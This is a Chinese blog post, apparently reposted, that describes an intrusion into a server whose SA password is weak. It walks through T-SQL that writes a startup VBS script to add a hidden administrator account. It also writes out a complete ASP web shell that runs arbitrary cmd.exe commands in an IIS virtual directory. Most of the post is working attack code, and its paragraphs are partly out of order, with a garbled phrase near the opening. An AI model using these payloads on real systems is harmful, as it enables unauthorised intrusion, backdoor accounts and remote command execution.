对数据库Sa权限的再突破

在知道sql服务器的SA用户名弱密码后,而服务器去掉了SA的xp_cmdshell权限的情况下,如何通过SQL命令恢复SA的xp_cmdshell权限来进行入帧U庋肭?详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名,这一点青野志狼也谈到了,但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。 

  先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下: 

  [开放端口]21/80/1433/3389  
[sql弱口令]sa(aaa) 
[CGI漏洞] 
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述] 
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述] 
/_vti_bin/shtml.dll [漏洞描述] 
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述] 
/_vti_bin/shtml.exe [漏洞描述] 
  除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了SA的xp_cmdshell权限。 


我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’,但是显示错误。 


看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。 

   这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令: 


declare @o int, @f int, @t int, @ret int ,@a int 
exec sp_oacreate ’scripting.filesystemobject’, @o out 
---给菜鸟加个简单注释,这两行代码是建立sql的文本对象 
exec sp_oamethod @o, ’createtextfile’, @f out, 
’c:/docume~1/alluse~1/「开始」菜单/程序/启动/a.vbs’, 1 
--在启动菜单里写入a.vbs,当然这里只支持中文 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’set wshshell=createobject("wscript.shell")’ 
--单引号里的都是a.vbs的内容,要一行一行的写,下同。 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)’ 
--a.vbs内容结束 
执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。 

    只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在IIS上默认的物理路径是C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/isapi/,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行http://ip/_vti_bin/,返回403错误码。 

declare @o int, @f int, @t int, @ret int ,@a int 
exec sp_oacreate ’scripting.filesystemobject’, @o out 
--给菜鸟加个简单注释:还是建立sql程序的文本对像 
exec sp_oamethod @o, ’createtextfile’, @f out, 
’C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/40/isapi/lcx.asp’, 1 
--在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<% if Request("password")=1234 then’ 
--单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’session("password")="lcx"’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’response.redirect Request.ServerVariables("URL")’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’elseif session("password")="" then %>’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<%else%>’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<HTML>’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<input type=text name=".CMD" size=45 value="<%= szCMD %>">’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<input type=submit value="执行" class=input>’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’</FORM> <pre>’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’On Error Resume Next’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’Set oScript = Server.CreateObject("WSCRIPT.SHELL")’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’szCMD = Request.Form(".CMD")’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’If (szCMD <> "") Then ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’szTempFile = "C:/" & oFileSys.GetTempName( ) ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’ End If ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’If (IsObject(oFile)) Then’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’On Error Resume Next’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’Response.Write Server.HTMLEncode(oFile.ReadAll) ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’ oFile.Close ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’ Call oFileSys.DeleteFile(szTempFile, True)’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’End If %> ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’</BODY> </HTML> ’ 
exec @ret = sp_oamethod @f, ’writeline’, NULL, 
’<%end if %> ’ 

然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成
因为上次碰到一个类似SA权限问题,所以转来学习一下!!吸取经验!



   证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网 木马xp.net版。可代码太多了):  

你可能感兴趣的:(sql,数据库,服务器,脚本,null,IIS)